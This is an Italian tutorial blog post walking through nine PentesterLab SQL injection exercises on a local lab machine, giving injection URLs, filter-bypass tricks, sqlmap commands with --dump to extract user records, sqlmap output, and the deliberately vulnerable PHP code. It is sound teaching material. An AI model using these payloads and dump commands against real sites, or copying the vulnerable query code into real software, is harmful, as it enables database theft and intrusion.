Nozioni basilari di (in)sicurezza delle applicazioni Web – Parte 6 - SQL Injection

Tempo di lettura: 11 minuti

In più articoli abbiamo affrontato attacchi di SQL Injection, sia per quanto riguarda la teoria, sia per quanto riguarda la pratica. PentesterLab offre alcuni esercizi, soprattutto per capire le basi dell’attacco e su come violare dispositivi con basilari sistemi di filtraggio. Proprio per questo motivo ho deciso di inserire anche i comandi da utilizzare con SQLmap, in modo da avere anche  conoscenza sull’utilizzo del tool in questione.

Esempio 1

http://192.168.56.101/sqli/example1.php?name=root

Classica GET, in cui vengono stampati i dati dell’utente root. Visto che molto probabilmente esistono altri utenti, vado ad inserire la stringa solitamente utilizzata per il test di questo attacco.

http://192.168.56.101/sqli/example1.php?name=root' or '1'='1
Soluzione esempio 1
Soluzione esempio 1

Con sqlmap il comando è pressoché immediato

 sqlmap --banner -u http://192.168.56.101/sqli/example1.php?name=root --dbs

In questo modo ricevo le informazioni sul database utilizzato dall’applicazione e le relative tabelle. Se volessi avere anche le informazioni degli utenti (nomi, password e tutti gli altri dati),

 sqlmap --banner -u http://192.168.56.101/sqli/example1.php?name=root --dbs --dump
Soluzione esempio 1 con sqlmap
Soluzione esempio 1 con sqlmap

Il codice della pagina vulnerabile è

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php
  .
  ..</span>
</span><span class="line">  <span class="o">...</span> 
</span><span class="line">  <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where name='"</span><span class="p">;</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]</span><span class="o">.</span><span class="s2">"'"</span><span class="p">;</span>   
</span><span class="line">  <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line">  <span class="o">...</span>
  ..
  .
</span><span class="line"><span class="cp">?></span></span></code>

Come si può notare non c’è nessuna validazione dell’input, la richiesta viene eseguita senza nessun filtraggio e MySQL eseguirà la query

<code class="php"><span class="line"><span class="s2">SELECT * FROM users where name='</span></span></code>root' or '1'='1';

la quale risulta sempre vera.

Esempio 2

Nel secondo esempio non sono accettati spazi, di conseguenza la stringa inserita prima non funziona. Senza tanti giri, proviamo a rimuoverli ed eseguire la query senza spazi

http://192.168.56.101/sqli/example2.php?name=root'or'1'='1
Soluzione esempio 2
Soluzione esempio 2

Sqlmap ci viene incontro con l'opzione tamper (altri esempi si possono trovare qui), in particolar modo space2comment.

sqlmap --banner -u http://192.168.56.101/sqli/example2.php?name=root --tamper=space2comment --dbs
Soluzione esempio 2 con sqlmap
Soluzione esempio 2 con sqlmap

Il codice dell’esempio è

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  .
  ..
  ...
</span><span class="line">  <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/ /'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line">      <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR NO SPACE"</span><span class="p">);</span>   
</span><span class="line">  <span class="p">}</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where name='"</span><span class="p">;</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]</span><span class="o">.</span><span class="s2">"'"</span><span class="p">;</span>
</span>
<span class="line">  <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line">  <span class="o">...
  .. 
  .</span>
</span><span class="line"><span class="cp">?></span></span></code>

Ora è stato aggiunto un controllo sugli spazi, ma come abbiamo visto è facilmente aggirabile.

Esempio 3

Molto simile a quello di prima, stavolta per aggirare il blocco inserisco commenti fasulli in PHP, che vengono categoricamente ignorati.

http://192.168.56.101/sqli/example3.php?name=root'/**/or/**/'1'='1
Soluzione esempio 3
Soluzione esempio 3

Il comando sqlmap è lo stesso di prima, mentre il codice è ora

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  .
  .. 
  ...
</span><span class="line">  <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/\s+/'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line">      <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR NO SPACE"</span><span class="p">);</span>   
</span><span class="line">  <span class="p">}</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where name='"</span><span class="p">;</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]</span><span class="o">.</span><span class="s2">"'"</span><span class="p">;</span>
</span>
<span class="line">  <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line">  <span class="o">...
  .. 
  - </span>
</span><span class="line"><span class="cp">?>
</span></span></code>

Come si può leggere dal manuale di PHP, \s+ controlla se ci sono uno o più spazi.

Esempio 4

La richiesta è ora riferita ad un campo numerico, per cui le modalità di attacco cambiano, non essendoci necessità di un apice. Provo con lo stesso attacco del primo esempio, senza però inserire apici.

http://192.168.56.101/sqli/example4.php?id=2 or 1=1
Soluzione esempio 4
Soluzione esempio 4

Senza tanti preamboli, anche sqlmap trova con poche richieste la vulnerabiità

mrtouch@mrtouch:~$ sqlmap --banner -u http://192.168.56.101/sqli/example4.php?id=2
[21:56:29] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: id=(SELECT (CASE WHEN (3588=3588) THEN 3588 ELSE 3588*(SELECT 3588 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=2 UNION ALL SELECT NULL,NULL,CONCAT(0x71706a7671,0x5a5663556b52634a595659507a695745444c4756785469676e5a786b4e6a5343464d735470704451,0x7176627671),NULL,NULL-- ocZx
---
[21:56:30] [INFO] the back-end DBMS is MySQL
[21:56:30] [INFO] fetching banner
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0
banner:    '5.1.66-0+squeeze1'

Il codice è

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  <span class="o">.
  ..
 </span> <span class="o">...</span>
</span><span class="line">  <span class="nv">$sql</span><span class="o">=</span><span class="s2">"SELECT * FROM users where id="</span><span class="p">;</span>
</span><span class="line">  <span class="nv">$sql</span><span class="o">.=</span><span class="nb">mysql_real_escape_string</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">])</span><span class="o">.</span><span class="s2">" "</span><span class="p">;</span>
</span><span class="line">  <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line">  <span class="o">...
 </span> <span class="o">..
  .</span>
</span><span class="line"><span class="cp">?></span></span></code>

Il programmatore ha utilizzato il filtraggio mysql_real_escape_string, ma inutilmente, visto che non ci sono apici. Nelle ultime versioni di PHP (>7.0) la funzione è deprecata.

Esempio 5

Sembra che non sia cambiato nulla, e funziona lo stesso attacco di prima

Soluzione esempio 5
Soluzione esempio 5

Il codice è però diverso, viene inserito un controllo sui caratteri inseriti nella GET. Se non sono numeri, viene restituito errore, ma poco importa, visto che non la richiesta non viene comunque filtrata.

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  <span class="o">.
  ..
  </span><span class="o">...</span>
</span><span class="line">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/^[0-9]+/'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line">      <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR INTEGER REQUIRED"</span><span class="p">);</span>   
</span><span class="line">  <span class="p">}</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where id="</span><span class="p">;</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]</span> <span class="p">;</span>
</span>  
<span class="line">  <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line">  <span class="o">...
 </span> <span class="o">..
  .</span>
</span><span class="line"><span class="cp">?></span></span></code>

Esempio 6

Funziona nuovamente la stessa stringa di prima.

Soluzione esempio 6
Soluzione esempio 6

Questa volta sqlmap non riesce ad identificare il pattern, nemmeno se aumento il rischio (–risk 3) o il livello (–level 5).  Nel caso abbiate la soluzione, contattatemi e provvederò ad aggiungere il comando!

Il codice è

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>

  .
  ..
  ...</span>
  <span class="line"><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/[0-9]+$/'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line">      <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR INTEGER REQUIRED"</span><span class="p">);</span>   
</span><span class="line">  <span class="p">}</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where id="</span><span class="p">;</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]</span> <span class="p">;</span>
</span>
  
<span class="line">  <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
?></span></code>

Esempio 7

Finalmente il codice di prima non funziona più, sembra anzi che il codice sia inattaccabile, visto che non accetta spazi, commenti o stringhe al di fuori di soli numeri,

Visto questo blocco, andiamo ad inserire la stringa Linefeed, molto simile al carattere newline.

http://192.168.56.101/sqli/example7.php?id=2%0aor%0a1=1
Soluzione esempio 7
Soluzione esempio 7

Per riuscire a trovare la vulnerabilità con sqlmap dobbiamo inserire anche la stringa LF, in modo da definire il pattern di attacco (seguito dal carattere * per specificare dove attaccare)

 sqlmap -u "http://192.168.56.101/sqli/example7.php?id=2%0a*" --dbs --dump
Soluzione esempio 7 con sqlmap
Soluzione esempio 7 con sqlmap

Il codice era codi definito

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  <span class="o">.
  ..
 </span> <span class="o">...</span>
</span><span class="line">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/^-?[0-9]+$/m'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line">      <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR INTEGER REQUIRED"</span><span class="p">);</span>   
</span><span class="line">  <span class="p">}</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where id="</span><span class="p">;</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">];</span>
</span>  
<span class="line">  <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line">  <span class="o">.
  ..
 </span> <span class="o">...</span>
</span><span class="line"><span class="cp">?>
</span></span></code>

Esempio 8

Questo esempio passa decisavamente ad un livello superiore, nel quale bisogna conoscere la diverse tecniche di SQLInjection.

Sebbene le informazioni siano già stampate, l’esercizio vuole far capire come funziona un attacco Time Based SQLInjection, più raro da trovare ma sempre efficace.

La stringa che invio al server è cosi definita

http://192.168.56.101/sqli/example8.php?order=id`,(select sleep(0))--+

la quale formalmente non fa nulla, se non dormire per 0 secondi (tempo che possiamo definire noi). Alcuni paper sull’argomento possono essere trovati qui e qui.

Soluzione esempio 8
Soluzione esempio 8

Il comando passato a sqlmap è decisamente più semplice, basta aggiungere un apice (codificato) direttamente nella richiesta

sqlmap -u "http://192.168.56.101/sqli/example8.php?order=id%60" --dump
Soluzione esempio 8 con sqlmap
Soluzione esempio 8 con sqlmap

Il codice era

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line"><span class="p">  .
  ..
  ...</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users ORDER BY `"</span><span class="p">;</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">.=</span> <span class="nb">mysql_real_escape_string</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"order"</span><span class="p">])</span><span class="o">.</span><span class="s2">"`"</span><span class="p">;
</span>
</span><span class="line">  <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);
  ...
  ..
  .
?></span>
</span></code>

Esempio 9

In questo esempio ho trovato una semplice vulnerabilità su order by, nella quale si può ordinare a proprio piacimento i dati inserendo un IF

http://192.168.56.101/sqli/example9.php?order=if
Soluzione esempio 9
Soluzione esempio 9

Sqlmap trova la vulnerabilità senza nessun opzione aggiuntiva, mentre il codice dell’applicazione era

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line"><span class="p">  .
  .. 
  ...</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users ORDER BY "</span><span class="p">;</span>
</span><span class="line">  <span class="nv">$sql</span> <span class="o">.=</span> <span class="nb">mysql_real_escape_string</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"order"</span><span class="p">]);</span>
</span><span class="line">  <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span></code> . .. ... ?>

Conclusioni

Ammetto di esser rimasto un pò deluso, mi aspettavo qualche form o attacchi più specifici, ma probabilmente è stato pensato proprio per chi non ha mai visto attacchi SQL Injection e di conseguenza per comprendere il codice insicuro in modo ottimale.  Per chi fosse interessato, a questa pagina è presente un mini guida di sqlmap, mentre una cheat sheet per l’attacco SQL Injection si può trovare qui.